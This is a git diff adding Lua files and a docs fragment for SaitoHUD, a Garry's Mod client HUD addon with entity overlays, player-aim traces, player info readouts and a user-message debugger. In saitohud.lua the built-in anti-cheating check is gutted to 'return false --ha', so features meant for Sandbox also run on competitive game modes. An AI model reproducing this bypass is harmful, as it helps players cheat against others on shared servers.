reflectTraceMultiple:GetBool() then reflectionLines = {} end + + worldAng = tr.Entity:LocalToWorldAngles(ang) + + table.insert(reflectionLines, { + Lines = CalculateReflectionAnalysis(tr.Entity:GetPos(), + ang:Forward() * 100000 + tr.Entity:GetPos(), + numReflects, tr.Entity), + Entity = tr.Entity, + Live = cmd == "reflect_trace_ent_live", + Ang = ang, + NumReflects = numReflects + }) + else + LocalPlayer():ChatPrint("Nothing was found in an eye trace!") + end + + Rehook() +end + +--- Console commands clear the list of reflection traces. +-- @param ply Player +-- @param cmd Command +-- @param args Arguments +local function ReflectAnalysisClear(ply, cmd, args) + reflectionLines = {} + + Rehook() +end + +--- Draw RenderScreenspaceEffects. +local function DoDrawSurveyScreenspace() + surface.SetDrawColor(255, 255, 0, 255) + for _, v in pairs(orthogonalTraces) do + SaitoHUD.Draw3D2DLine(v[1], v[2]) + end + + surface.SetDrawColor(255, 255, 0, 255) + for _, data in pairs(reflectionLines) do + local lines = data.Lines + for k, v in pairs(lines) do + if reflectTraceColorProgression:GetBool() then + surface.SetDrawColor(255 * k / #lines, 255 * (1 - k / #lines), + 255 * (1 - k / #lines), 255) + end + SaitoHUD.Draw3D2DLine(v[1], v[2]) + end + end +end + +--- Draw orthogonal trace text. +local function DrawOrthoTraceText() + for _, v in pairs(orthogonalTraces) do + local dist = math.Round(v[1]:Distance(v[2])) + local screenPos = v[1]:ToScreen() + draw.SimpleText(tostring(v[1]), + "DefaultSmallDropShadow", screenPos.x, screenPos.y, + color_white, 1, ALIGN_TOP) + + draw.SimpleText(tostring(dist), + "DefaultSmallDropShadow", screenPos.x, screenPos.y+10, + color_white, 1, ALIGN_TOP) + + local screenPos = v[2]:ToScreen() + draw.SimpleText(tostring(v[2]), + "DefaultSmallDropShadow", screenPos.x, screenPos.y, + color_white, 1, ALIGN_TOP) + + draw.SimpleText(tostring(dist), + "DefaultSmallDropShadow", screenPos.x, screenPos.y+10, + color_white, 1, ALIGN_TOP) + end +end + +--- Draw reflection analysis text. +local function DrawReflectAnalysisText() + local dim = 5 + + surface.SetDrawColor(255, 255, 0, 255) + + for _, data in pairs(reflectionLines) do + if data.Live and IsValid(data.Entity) then + worldAng = data.Entity:LocalToWorldAngles(data.Ang) + + data.Lines = CalculateReflectionAnalysis( + data.Entity:GetPos(), worldAng:Forward() * 100000 + data.Entity:GetPos(), + data.NumReflects, data.Entity) + end + + local lines = data.Lines + + for k, v in pairs(lines) do + if reflectTraceColorProgression:GetBool() then + surface.SetDrawColor(255 * k / #lines, 255 * (1 - k / #lines), + 255 * (1 - k / #lines), 255) + end + + local screenPos = v[1]:ToScreen() + surface.DrawOutlinedRect(screenPos.x - dim / 2, screenPos.y - dim / 2, dim, dim) + + if k == #lines then + local screenPos = v[2]:ToScreen() + surface.DrawOutlinedRect(screenPos.x - dim / 2, screenPos.y - dim / 2, dim, dim) + end + end + end +end + +--- Hook to draw survey stuff in RenderScreenspaceEffects. +local function DrawSurveyScreenspace() + cam.Start3D(EyePos(), EyeAngles()) + -- Wrap the call in pcall() because an error here causes mayhem, so it + -- is best if any errors are caught + err, x = pcall(DoDrawSurveyScreenspace) + cam.End3D() +end + +--- Draw survey HUDPaint stuff. +local function DrawSurvey() + if orthoTraceText:GetBool() then + DrawOrthoTraceText() + end + + if reflectTraceNodes:GetBool() then + DrawReflectAnalysisText() + end +end + +Rehook = function() + if #orthogonalTraces > 0 or #reflectionLines > 0 then + hook.Add("RenderScreenspaceEffects", "SaitoHUD.Survey", DrawSurveyScreenspace) + hook.Add("HUDPaint", "SaitoHUD.Survey", DrawSurvey) + else + pcall(hook.Remove, "RenderScreenspaceEffects", "SaitoHUD.Survey") + pcall(hook.Remove, "HUDPaint", "SaitoHUD.Survey") + end +end + +Rehook() + +concommand.Add("ortho_trace", OrthoTrace) +concommand.Add("ortho_trace_clear", OrthoTraceClear) +concommand.Add("reflect_trace", ReflectAnalysis) +concommand.Add("reflect_trace_ent", ReflectAnalysisEntity) +concommand.Add("reflect_trace_ent_live", ReflectAnalysisEntity) +concommand.Add("reflect_trace_clear", ReflectAnalysisClear) \ No newline at end of file diff --git a/Repos/HeXs_SaitoHUD-master/lua/saitohud/modules/umsg.lua b/Repos/HeXs_SaitoHUD-master/lua/saitohud/modules/umsg.lua new file mode 100644 index 0000000..8be5ac1 --- /dev/null +++ b/Repos/HeXs_SaitoHUD-master/lua/saitohud/modules/umsg.lua @@ -0,0 +1,162 @@ +-- SaitoHUD +-- Copyright (c) 2009-2010 sk89q +-- Copyright (c) 2010 BoJaN +-- +-- This program is free software: you can redistribute it and/or modify +-- it under the terms of the GNU General Public License as published by +-- the Free Software Foundation, either version 2 of the License, or +-- (at your option) any later version. +-- +-- This program is distributed in the hope that it will be useful, +-- but WITHOUT ANY WARRANTY; without even the implied warranty of +-- MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +-- GNU General Public License for more details. +-- +-- You should have received a copy of the GNU General Public License +-- along with this program. If not, see . +-- +-- $Id$ + + +surface.CreateFont("TabLarge", { + font = "Tahoma", + size = 13, + weight = 700, + antialias = false, + additive = false, + shadow = true, + } +) + + +local doDebug = CreateClientConVar("umsg_debug", "0", true, false) +local peekWire = CreateClientConVar("umsg_debug_peek_wire", "0", true, false) + +local messages = {} +local snapshot = {} +local snapshotKeys = {} +local lastSnapshot = 0 +local initial = false +local timeDiff = 0 + +if not _OldUserMessageIncoming then + _OldUserMessageIncoming = usermessage.IncomingMessage +end + +local function GetLocalVar(func, key) + local k = 1 + while true do + local name, value = debug.getupvalue(func, k) + if not name then break end + if name == key then return value end + k = k + 1 + end + return nil +end + +local function StartListening() + -- Name upvalue the same so that we don't break other people's attempts + local Hooks = GetLocalVar(_OldUserMessageIncoming, "Hooks") + + if Hooks then + local function DoLog(name, msg) + local logName = name + local fakeMsg + + if peekWire:GetBool() and name == "wire_umsg" then + local entIndex = msg:ReadShort() + local ent = ents.GetByIndex(entIndex) + logName = name .. ":" .. (IsValid(ent) and tostring(ent) or "?") + + -- Does not appear to work! + msg:Reset() + end + + messages[logName] = messages[logName] and messages[logName] + 1 or 1 + + if fakeMsg then return fakeMsg end + end + + usermessage.IncomingMessage = function(messageName, msg) + local success, fakeMsg = pcall(DoLog, messageName, msg) + if success and fakeMsg then msg = fakeMsg end + _OldUserMessageIncoming(messageName, msg) + end + + return true + end + + return false +end + +local function StopListening() + usermessage.IncomingMessage = _OldUserMessageIncoming +end + +local function HUDPaint() + if RealTime() - lastSnapshot > 2 then + timeDiff = math.Round(RealTime() - lastSnapshot) + snapshot = messages + snapshotKeys = {} + for key, _ in pairs(snapshot) do table.insert(snapshotKeys, key) end + table.sort(snapshotKeys, function(a, b) return a < b end) + messages = {} + lastSnapshot = RealTime() + initial = false + end + + if (#snapshotKeys > 0 or not initial) and not initial then + local i = 0 + for _, name in pairs(snapshotKeys) do + local num = snapshot[name] + -- local x, y = 20, 160 + 16 * i + local x, y = 20, 180 + 16 * i + + surface.SetDrawColor(255, 0, 0, 200) + surface.DrawRect(x + 100, y, num, 14) + surface.SetTextColor(color_white) + surface.SetFont("TabLarge") + + surface.SetTextPos(x, y) + surface.DrawText(tostring(num)) + surface.SetTextPos(x + 30, y) + surface.DrawText(string.format("%.2f/sec", num / timeDiff)) + surface.SetTextPos(x + 100, y) + surface.DrawText(name) + + i = i + 1 + end + else + --local x, y = 20, 160 + local x, y = 20, 180 + + num = num or 10 + + surface.SetDrawColor(255, 0, 0, 200) + surface.DrawRect(x + 40, y, num, 14) + surface.SetTextColor(color_white) + surface.SetFont("TabLarge") + + surface.SetTextPos(x, y) + surface.DrawText(string.format("Collecting initial data [%.2f]...", 2 - (RealTime() - lastSnapshot))) + end +end + +local function Rehook() + if doDebug:GetBool() then + if StartListening() then + initial = true + lastSnapshot = RealTime() + hook.Add("HUDPaint", "SaitoHUD.Debug.UserMessage", HUDPaint) + else + Error("Failed to find Hooks upvalue") + end + else + StopListening() + hook.Remove("HUDPaint", "SaitoHUD.Debug.UserMessage") + end +end + +cvars.AddChangeCallback("umsg_debug", Rehook) + +Rehook() \ No newline at end of file diff --git a/Repos/HeXs_SaitoHUD-master/lua/saitohud/modules/util.lua b/Repos/HeXs_SaitoHUD-master/lua/saitohud/modules/util.lua new file mode 100644 index 0000000..61ce266 --- /dev/null +++ b/Repos/HeXs_SaitoHUD-master/lua/saitohud/modules/util.lua @@ -0,0 +1,161 @@ +-- SaitoHUD +-- Copyright (c) 2009-2010 sk89q +-- Copyright (c) 2010 BoJaN +-- +-- This program is free software: you can redistribute it and/or modify +-- it under the terms of the GNU General Public License as published by +-- the Free Software Foundation, either version 2 of the License, or +-- (at your option) any later version. +-- +-- This program is distributed in the hope that it will be useful, +-- but WITHOUT ANY WARRANTY; without even the implied warranty of +-- MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +-- GNU General Public License for more details. +-- +-- You should have received a copy of the GNU General Public License +-- along with this program. If not, see . +-- +-- $Id$ + +------------------------------------------------------------ +-- Super flashlight +------------------------------------------------------------ + +local selfLight = CreateClientConVar("super_flashlight_self", "0", true, false) +local brightLight = CreateClientConVar("super_flashlight_bright", "0", true, false) + +local lightEnabled = false + +local function RenderFlashlight() + local bright = brightLight:GetBool() + + if not selfLight:GetBool() then + local light = DynamicLight(123120000) + if light then + local tr = SaitoHUD.GetRefTrace() + light.Pos = tr.HitPos + tr.HitNormal * 100 + light.r = 255 + light.g = 255 + light.b = 255 + light.Brightness = 0.25 + light.Size = bright and 5000 or 1000 + light.Decay = 0 + light.DieTime = CurTime() + 0.3 + end + end + + local light = DynamicLight(123120001) + if light then + light.Pos = SaitoHUD.GetRefPos() + Vector(0, 0, 40) + light.r = 255 + light.g = 255 + light.b = 255 + light.Brightness = 0.25 + light.Size = bright and 5000 or 1000 + light.Decay = 0 + light.DieTime = CurTime() + 0.3 + end +end + +concommand.Add("super_flashlight", function() + lightEnabled = not lightEnabled + + surface.PlaySound("items/flashlight1.wav") + + SaitoHUD.HookIfTrue(lightEnabled, "SaitoHUD.FlashLight", { + Think = RenderFlashlight, + }, true) +end) + +------------------------------------------------------------ +-- HUD hide +------------------------------------------------------------ + +local hideHUD = false + +concommand.Add("toggle_hud", function(ply, cmd, args) + hideHUD = not hideHUD + + SaitoHUD.HookIfTrue(hideHUD, "SaitoHUD.FlashLight", { + HUDShouldDraw = function() return false end, + }) +end) + +------------------------------------------------------------ +-- Toggled console commands +------------------------------------------------------------ + +local toggledCommands = {} + +concommand.Add("toggle_concmd", function(ply, cmd, args) + if #args ~= 1 then + Msg("Invalid number of arguments\n") + return + end + + local cmd = args[1] + + if toggledCommands[cmd] then + RunConsoleCommand("-" .. cmd) + toggledCommands[cmd] = nil + chat.AddText(Color(255, 0, 0), "-" .. cmd) + else + RunConsoleCommand("+" .. cmd) + toggledCommands[cmd] = true + chat.AddText(Color(0, 255, 0), "+" .. cmd) + end +end) + +------------------------------------------------------------ +-- Aim traces +------------------------------------------------------------ + +local traceAims = CreateClientConVar("trace_aims", "0", true, false) +local data = {} + +local function DrawPlayerAim(ply) + if ply == LocalPlayer() or not ply:Alive() then return end + + local shootPos = ply:GetShootPos() + local eyeAngles = ply:EyeAngles() + + data.start = shootPos + data.endpos = shootPos + eyeAngles:Forward() * 10000 + data.filter = ply + + local tr = util.TraceLine(data) + local distance = tr.HitPos:Distance(shootPos) + + -- Draw the end point + cam.Start3D2D(tr.HitPos + tr.HitNormal * 0.2, + tr.HitNormal:Angle() + Angle(90, 0, 0), 1) + if IsValid(tr.Entity) and tr.Entity:IsPlayer() then + surface.SetDrawColor(255, 255, 0, 200) + else + surface.SetDrawColor(0, 0, 255, 150) + end + surface.DrawRect(-5, -5, 10, 10) + cam.End3D2D() + + -- Draw the line + cam.Start3D2D(shootPos, eyeAngles, 1) + if IsValid(tr.Entity) and tr.Entity:IsPlayer() then + surface.SetDrawColor(255, 255, 0, 255) + else + surface.SetDrawColor(0, 0, 255, 200) + end + surface.DrawLine(0, 0, distance, 0) + cam.End3D2D() +end + +local function DrawTraceAims() + cam.Start3D(EyePos(), EyeAngles()) + for _, ply in pairs(player.GetAll()) do + pcall(DrawPlayerAim, ply) + end + cam.End3D() +end + +SaitoHUD.HookOnCvar("trace_aims", "SaitoHUD.AimTrace", { + RenderScreenspaceEffects = DrawTraceAims, +}, true) \ No newline at end of file diff --git a/Repos/HeXs_SaitoHUD-master/lua/saitohud/modules/winamp.rar b/Repos/HeXs_SaitoHUD-master/lua/saitohud/modules/winamp.rar new file mode 100644 index 0000000000000000000000000000000000000000..5f9792740b87bd337e7d3ef4e17f10687e5118a0 GIT binary patch literal 1224 zcmV;(1ULIqVR9iF2LR8Ia{vGh000000000W&U7GvDgc87002e~0006~c^a@FctJfK zGYSA80001YX>MU{a4u|hVGJ1!49yeGK^wjSpNFuz71n$jIqv2&I`IF&B$u@jP)JP-) z!iWU+lD&VA9@`v;_I1mV=i&Nc}1X)3kcg2?-UqQ6@lWx z(K09t6=FChi34NMf`HU}%w7X7SVIXMXvLURem}0;+O^w&hRD0#z{?m#+2}wH!9xep z^j(D5g@Gjp3Dk5l-gNyS9E_|Hz9BBaZ<H_G*Zx+n3pKx{n=6PfL0EIk(iR%1X2ZShD>YU zqZSafFW*tnO#+d;h>FBnQ#cfM;rnDS5u;ssmsgRum5CgcnMpIXx#c8$E#mk-H8C0D z^BTn}eVA^`S+Cn{DlRd@8kJAHZ7_m28SIQ0hvo~IS<&FC+bDZ7Ln$e$0}D!Dw3++a z9)~0$5kiQoh@8(NIO@P#{9g5?@Z1DulSykF$y~Vvo5u98x zt^8+gInEYu{vVLik;Ij^&sIJ8(pm3^VbQC%f{q39uvSiiQlw#0MZgKnM?hmn@Ss0m zPhyiu$_ILTkZ$q&>#hx(I5Pju^yqlAr1gH@|^l{$tK5_~=W>09WL_yrrEqWCiK-`zm7gIg zFPvk1iox-WA6Fk^h{9jy;bAldxi48l1R|77}#O zHdBH1CL_xCF@>=@4^UXGK*wOCcllqURb8fMvE-P#;P8bH&52~gvD1A7BPvgxbKaC# zOQd#r;y0U6+bW~L>XHOlJu8O-!Sh%vo}xP%4IuGRZ4S({Nt{0#0dtFzfoHy3OvXW9 ziK4XWDe!pxNzH0-^ueZc-*iPaw{@)k=r(3neH++gmI@nJ+ZrNL)0p-KvSto|x1l?p zoMz@l3XKe3skEHBMlLtJUsV6kg_8~VN)POZrTXiZ7l)bC1JdKMJ?47$-JU96LU$L+ zLQC{1KjyZYZ_XWCIDvjgrDLdV{-9Mkqzxo(RiUffnxX}wc`w# +-- Copyright (c) 2010 BoJaN +-- +-- This program is free software: you can redistribute it and/or modify +-- it under the terms of the GNU General Public License as published by +-- the Free Software Foundation, either version 2 of the License, or +-- (at your option) any later version. +-- +-- This program is distributed in the hope that it will be useful, +-- but WITHOUT ANY WARRANTY; without even the implied warranty of +-- MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +-- GNU General Public License for more details. +-- +-- You should have received a copy of the GNU General Public License +-- along with this program. If not, see . +-- +-- $Id$ + +local excludeClasses = { + viewmodel = true, + physgun_beam = true, + gmod_tool = true, + gmod_camera = true, + worldspawn = true, +} + +local evaluateOnEveryDraw = CreateClientConVar("overlays_continuous_eval", "0", true, false) + +SaitoHUD.OverlayTypes = {} + +local lastOverlayMatch = 0 + +--- Builds the cache of matched of entities. This is to significantly increase +-- performance, as evaluating the filter is a fairly resource intensive task. +local function EvaluateFilters() + local refPos = SaitoHUD.GetRefPos() + + -- Clear match lists + for id, data in pairs(SaitoHUD.OverlayTypes) do + data.Matches = {} + end + + -- Evaluate filters + for _, ent in pairs(ents.GetAll()) do + if IsValid(ent) then + local cls = ent:GetClass() + local pos = ent:GetPos() + + -- Class may be empty + if cls == "" or not cls then + cls = "" + end + + if not excludeClasses[cls] then + -- Add to matches + for id, data in pairs(SaitoHUD.OverlayTypes) do + if data.Filter and data.Filter.f(ent, refPos) then + table.insert(data.Matches, ent) + end + end + end + end + end + + -- Post evaluate hook + for id, data in pairs(SaitoHUD.OverlayTypes) do + if data.Filter and data.OnPostEvaluate then + data.OnPostEvaluate() + end + end +end + +--- Do the drawing. +local function Draw() + -- Evaluate filters + if CurTime() - lastOverlayMatch > 1 or evaluateOnEveryDraw:GetBool() then + EvaluateFilters() + lastOverlayMatch = CurTime() + end + + for id, data in pairs(SaitoHUD.OverlayTypes) do + -- Paint HUD hook + if data.Filter and data.HUDPaint then + data.HUDPaint() + end + + -- Draw each entity + for _, ent in pairs(data.Matches) do + if IsValid(ent) then + data.DrawEnt(ent) + end + end + end +end + +--- Create/remove hooks. +local function Rehook() + local hasActive = false + + for id, data in pairs(SaitoHUD.OverlayTypes) do + if data.Filter then + hasActive = true + break + end + end + + if hasActive then + hook.Add("HUDPaint", "SaitoHUD.Overlays", Draw) + else + pcall(hook.Remove, "HUDPaint", "SaitoHUD.Overlays") + end +end + +--- Registers an overlay. +-- @param id +-- @param drawEntFunc Function to draw each entity +-- @param hudPaint HUD paint function +function SaitoHUD.RegisterOverlay(id, t) + local data = { + Enabled = false, + DrawEnt = t.DrawEnt, + HUDPaint = t.HUDPaint, + OnPostEvaluate = t.OnPostEvaluate, + Matches = {}, + Filter = nil, + LastFilter = nil, + } + + SaitoHUD.OverlayTypes[id] = data + + concommand.Add(id .. "_filter", function(ply, cmd, args) + if SaitoHUD.AntiUnfairTriggered() then return end + + data.Matches = {} + data.Filter = SaitoHUD.entityFilter.Build(args, true) + Rehook() + end) + + concommand.Add("toggle_" .. id, function(ply, cmd, args) + if SaitoHUD.AntiUnfairTriggered() then return end + + data.Matches = {} + + if data.Filter then + data.LastFilter = data.Filter + data.Filter = nil + else + if data.LastFilter then + data.Filter = data.LastFilter + else + data.Filter = SaitoHUD.entityFilter.Build({"*"}, true) + end + end + + Rehook() + end) +end \ No newline at end of file diff --git a/Repos/HeXs_SaitoHUD-master/lua/saitohud/saitohud.lua b/Repos/HeXs_SaitoHUD-master/lua/saitohud/saitohud.lua new file mode 100644 index 0000000..af8a70a --- /dev/null +++ b/Repos/HeXs_SaitoHUD-master/lua/saitohud/saitohud.lua @@ -0,0 +1,209 @@ +-- SaitoHUD + +local ignoreHooks = CreateClientConVar("saitohud_ignore_hooks", "0", false, false) + +--- Checks whether the anti-unfair mode is triggered. +function SaitoHUD.AntiUnfairTriggered() + --[[ + if GAMEMODE == nil or type(GAMEMODE) ~= 'table' then return false end + if (LocalPlayer().IsAdmin and LocalPlayer():IsAdmin()) or + (LocalPlayer().IsSuperAdmin and LocalPlayer():IsSuperAdmin()) then + return false + end + local name = tostring(GAMEMODE.Name) + local folder = tostring(GAMEMODE.Folder) + return __SaitoHUDUnfair == true and + string.find(name:lower(), "sandbox") == nil and + string.find(folder:lower(), "sandbox") == nil and + string.find(folder:lower(), "spaceage") == nil + ]] + return false --ha +end + +--- Returns where hooks are disabled. +function SaitoHUD.ShouldIgnoreHook() + return ignoreHooks:GetBool() +end + +--- Gets a player trace. This function should be used in case a SaitoHUD component +-- changes the origin of the player's camera. +-- @return Trace result +function SaitoHUD.GetRefTrace() + return util.TraceLine(util.GetPlayerTrace(LocalPlayer())) +end + +--- Gets a player's reference location. This function should be used in case a +-- SaitoHUD component changes the origin of the player's camera. +function SaitoHUD.GetRefPos() + return LocalPlayer():GetPos() +end + +--- Returns a Player object by name, or nil if nothing be found. +-- @param testName Name of player to match +-- @return Player object +function SaitoHUD.MatchPlayerString(testName) + local possibleMatch = nil + testName = testName:lower() + + for _, ply in pairs(player.GetAll()) do + local name = ply:GetName() + + if name:lower() == testName:lower() then + return ply + else + if name:lower():find(testName, 1, true) then + possibleMatch = ply + end + end + end + + if possibleMatch then + return possibleMatch + else + return nil + end +end + +--- Used to get the entity information text. +-- @return Text +function SaitoHUD.GetEntityInfoLines(showPlayerInfo,showEntityInfo) + local tr = SaitoHUD.GetRefTrace() + + local lines = {} + + if IsValid(tr.Entity) then + local Col = tr.Entity:GetColor(); + lines = {} + + if showEntityInfo then + local skin = tr.Entity:GetSkin() + table.Add(lines,{ + "#" .. tostring(tr.Entity:EntIndex()) .. " [" .. tostring(tr.HitPos:Distance(SaitoHUD.GetRefPos())) .. "]", + "Current Pos: " .. tostring(SaitoHUD.GetRefPos()), + "Hit Pos: " .. tostring(tr.HitPos), + "Class: " .. tostring(tr.Entity:GetClass()), + "Position: " .. tostring(tr.Entity:GetPos()), + "Size: " .. tostring(tr.Entity:OBBMaxs()-tr.Entity:OBBMins()), + "Angle: " .. tostring(tr.Entity:GetAngles()), + "Color: " .. string.format("%s %s %s %s", Col.r, Col.g, Col.b, Col.a), + "Model: " .. tostring(tr.Entity:GetModel()), + "Material: " .. tostring(tr.Entity:GetMaterial()) .. + " (skin: " .. (skin and tostring(skin) or "N/A") .. ")", + "Velocity: " .. tostring(tr.Entity:GetVelocity()), + "Speed: " .. tostring(tr.Entity:GetVelocity():Length()), + "Local: " .. tostring(tr.Entity:WorldToLocal(tr.HitPos)), + }) + end + + if not SaitoHUD.AntiUnfairTriggered() and + showPlayerInfo and tr.Entity:IsPlayer() then + if showEntityInfo then + table.insert(lines, "") + else + table.insert(lines, "#" .. tostring(tr.Entity:EntIndex()) .. " [" .. tostring(tr.HitPos:Distance(LocalPlayer():GetPos())) .. "]") + end + + table.Add(lines, { + "Name: " .. tostring(tr.Entity:Name()), + "SteamID: " .. tostring(tr.Entity:SteamID()), + "Ping: " .. tostring(tr.Entity:Ping()), + "Health: " .. tostring(tr.Entity:Health()), + "Armor: " .. tostring(tr.Entity:Armor()), + "Weapon: " .. tostring(tr.Entity:GetActiveWeapon()), + "Kills: " .. tostring(tr.Entity:Frags()), + "Deaths: " .. tostring(tr.Entity:Deaths()), + }) + end + else + if tr.Hit and showEntityInfo then + lines = { + "[" .. tostring(tr.HitPos:Distance(LocalPlayer():GetPos())) .. "]", + "Current Pos: " .. tostring(SaitoHUD.GetRefPos()), + "Hit Pos: " .. tostring(tr.HitPos), + } + end + end + + return lines +end + +--- Dumps the entity information printout to console. +function SaitoHUD.DumpEntityInfo() + local lines = SaitoHUD.GetEntityInfoLines(true, true) + + if table.Count(lines) > 0 then + for _, s in pairs(lines) do + Msg(s .. "\n") + end + end +end + +--- Shows a hint. +-- @param msg Message +-- @param t Number of seconds, 10 by default +-- @param c Type of message, NOTIFY_GENERIC by default +function SaitoHUD.ShowHint(msg, t, c) + if not t then t = 10 end + if not c then c = NOTIFY_GENERIC end + GAMEMODE:AddNotify(msg, c, t); + surface.PlaySound("ambient/water/drip" .. math.random(1, 4) .. ".wav") +end + +--- Opens the help window. +function SaitoHUD.OpenHelp() + if SaitoHUD.HelpWindow and SaitoHUD.HelpWindow:IsValid() then + return + end + + local contents = "" + + --[[ + if file.Exists("../addons/SaitoHUD/docs.txt") then --why!? what's wrong with the data folder! + contents = file.Read("../addons/SaitoHUD/docs.txt") + else + Error("addons/SaitoHUD/docs.txt doesn't exist\n") + end + ]] + if file.Exists("SaitoHUD/docs.txt", "DATA") then + contents = file.Read("SaitoHUD/docs.txt", "DATA") + else + Error("SaitoHUD/docs.txt doesn't exist\n") + end + + local frame = vgui.Create("DFrame") + SaitoHUD.HelpWindow = frame + frame:SetTitle("SaitoHUD Help") + frame:SetDeleteOnClose(true) + frame:SetScreenLock(true) + frame:SetSize(math.min(780, ScrW() - 0), ScrH() * 4/5) + frame:SetSizable(true) + frame:Center() + frame:MakePopup() + + local browser = vgui.Create("HTML", frame) + browser:SetVerticalScrollbarEnabled(false) + browser:SetHTML(contents) + + -- Layout + local oldPerform = frame.PerformLayout + frame.PerformLayout = function() + oldPerform(frame) + browser:StretchToParent(10, 28, 10, 10) + end + + frame:InvalidateLayout(true, true) +end + +concommand.Add("saitohud_help", function() SaitoHUD.OpenHelp() end) + + +__SaitoHUDUnfair = false --ha + + + + + + + + + diff --git a/Repos/HeXs_SaitoHUD-master/lua/saitohud/vgui/DCustomListView.lua b/Repos/HeXs_SaitoHUD-master/lua/saitohud/vgui/DCustomListView.lua new file mode 100644 index 0000000..6e4fe3f --- /dev/null +++ b/Repos/HeXs_SaitoHUD-master/lua/saitohud/vgui/DCustomListView.lua @@ -0,0 +1,55 @@ +-- SaitoHUD +-- Copyright (c) 2009-2010 sk89q +-- Copyright (c) 2010 BoJaN +-- +-- This program is free software: you can redistribute it and/or modify +-- it under the terms of the GNU General Public License as published by +-- the Free Software Foundation, either version 2 of the License, or +-- (at your option) any later version. +-- +-- This program is distributed in the hope that it will be useful, +-- but WITHOUT ANY WARRANTY; without even the implied warranty of +-- MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +-- GNU General Public License for more details. +-- +-- You should have received a copy of the GNU General Public License +-- along with this program. If not, see . +-- +-- $Id$ + +local PANEL = {} + +AccessorFunc(PANEL, "LineClass", "LineClass") + +function PANEL:Init() + --self.BaseClass.Init(self) +end + +function PANEL:AddLine(...) + self:SetDirty(true) + self:InvalidateLayout() + + local line = vgui.Create(self.LineClass or "DListView_Line", self.pnlCanvas) + local id = table.insert(self.Lines, line) + + line:SetListView(self) + line:SetID(id) + + for k, v in pairs(self.Columns) do + line:SetColumnText(k, "") + end + + for k, v in pairs({...}) do + line:SetColumnText(k, v) + end + + local SortID = table.insert(self.Sorted, line) + + if SortID % 2 == 1 then + line:SetAltLine(true) + end + + return line +end + +vgui.Register("DCustomListView", PANEL, "DListView") \ No newline at end of file diff --git a/Repos/HeXs_SaitoHUD-master/lua/saitohud/vgui/DListView_CheckboxLine.lua b/Repos/HeXs_SaitoHUD-master/lua/saitohud/vgui/DListView_CheckboxLine.lua new file mode 100644 index 0000000..5f5359e --- /dev/null +++ b/Repos/HeXs_SaitoHUD-master/lua/saitohud/vgui/DListView_CheckboxLine.lua @@ -0,0 +1,66 @@ +-- SaitoHUD +-- Copyright (c) 2009-2010 sk89q +-- Copyright (c) 2010 BoJaN +-- +-- This program is free software: you can redistribute it and/or modify +-- it under the terms of the GNU General Public License as published by +-- the Free Software Foundation, either version 2 of the License, or +-- (at your option) any later version. +-- +-- This program is distributed in the hope that it will be useful, +-- but WITHOUT ANY WARRANTY; without even the implied warranty of +-- MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +-- GNU General Public License for more details. +-- +-- You should have received a copy of the GNU General Public License +-- along with this program. If not, see . +-- +-- $Id$ + +local PANEL = {} + +function PANEL:Init() + self.BaseClass.Init(self) + + self.Check = vgui.Create("DCheckBox", self) + self.Check:SetSize(14, 14) + self.Check.OnChange = function() + self:SetColumnText(1, self.Check:GetChecked() and "1" or "") + self:OnChange(self.Check:GetChecked()) + end +end + +function PANEL:OnChange(checked) +end + +function PANEL:SetChecked(checked) + self.Check:SetValue(checked) +end + +function PANEL:GetChecked() + return self.Check:GetChecked() +end + +function PANEL:DataLayout(listView) + self:ApplySchemeSettings() + + local height = self:GetTall() + + local x = 0 + for k, column in pairs(self.Columns) do + if k == 1 then + column:SetVisible(false) + end + + local w = listView:ColumnWidth(k) + column:SetPos(x, 0) + column:SetSize(w, height) + if k == 1 then + self.Check:SetPos(x + (w - self.Check:GetWide()) / 2, + (height - self.Check:GetTall()) / 2) + end + x = x + w + end +end + +vgui.Register("DListView_CheckboxLine", PANEL, "DListView_Line") \ No newline at end of file
    +

    SaitoHUD Documentation

    +
      +
    1. General Information
    2. +
    3. Concepts +
        +
      1. Entity Filters
      2. +
      3. Gesture Menu
      4. +
      +
    4. +
    5. Information Displays
    6. +
    7. Player Identification +
        +
      1. Highlighting Friends
    8. +
    9. Entity Highlighting +
        +
      1. Quick Filters List
      2. +
      +
    10. +
    11. Sampling
    12. +
    13. Surveying
    14. +
    15. Spectating
    16. +
    17. Debugging +
    18. Stranded Game Mode
    19. +
    20. Sandbox Game Mode +
        +
      1. Customizing the Gesture Menu
      2. +
      +
    21. +
    22. Miscellaneous
    23. +
    +

    General Information

    +

    Many SaitoHUD functions are disabled when you are playing on non-Sandbox game modes. This is to reduce the temptation of cheating, even if you may not usually cheat. These functions will be marked by * in this document.

    +

    Concepts

    +

    Entity Filters

    +

    Some of SaitoHUD's commands support entity filters, which allow you to specify a criteria by which to match entities. You list a set of conditions separated by spaces, with each condition being in the format of property=value. For an entity to match a filter, all conditions must be satisfied. For example, if you wanted to only select entities with "wire" in their class name and "gate" in the model paths, the following filter would be used:

    +
    class=wire model=gate
    +

    Note how they match substrings. By default, it is assumed that you mean class, so the following filter would have sufficed:

    +
    wire model=gate
    +

    If you want to a condition that the entity must not match, place a hyphen (-) in front of the value. For example, if you wanted to match the conditions mentioned above, but you did not want to match entities with "sand" in their material paths, you would use:

    +
    class=wire model=gate material=-sand
    +

    An alternative syntax of the above filter using the syntax @type pattern is:

    +
    wire @model gate @material sand
    +

    SaitoHUD supports the following properties to filter by:

    +
      +
    • @id
    • +
    • @mindist (alias: @min)
    • +
    • @maxdist (alias: @max)
    • +
    • @model (alias: @mdl)
    • +
    • @material (alias @mat)
    • +
    • @name (alias: @nam)
    • +
    +

    The @mindist and @maxdist properties take numbers as arguments and allow you to filter entities by their distance away from you.

    +

    Use an asterisk (*) if you wish to match all class names, models, or materials (ex. * or @mdl * or even @mdl -*). Note that it cannot be used as a wildcard character; if you use it, it must stand alone. To disable a filter, execute the command without any arguments.

    +

    If you want at least one condition to match, but you do not need all conditions to match, you can can seperate the conditions with "or". ORs have operator precedence over ANDs. So far, you have not seen AND explicitly written because it is assumed, but you may write it if it clarifies the filter string. See the filters below, which all do the same thing:

    +
    wire and (expr or gate mdl=cpu) or mdl=barrel
    wire and (expr or gate @mdl cpu) or @mdl barrel
    wire ( expr or gate @mdl cpu ) or @mdl barrel
    +

    Gesture Menu

    +

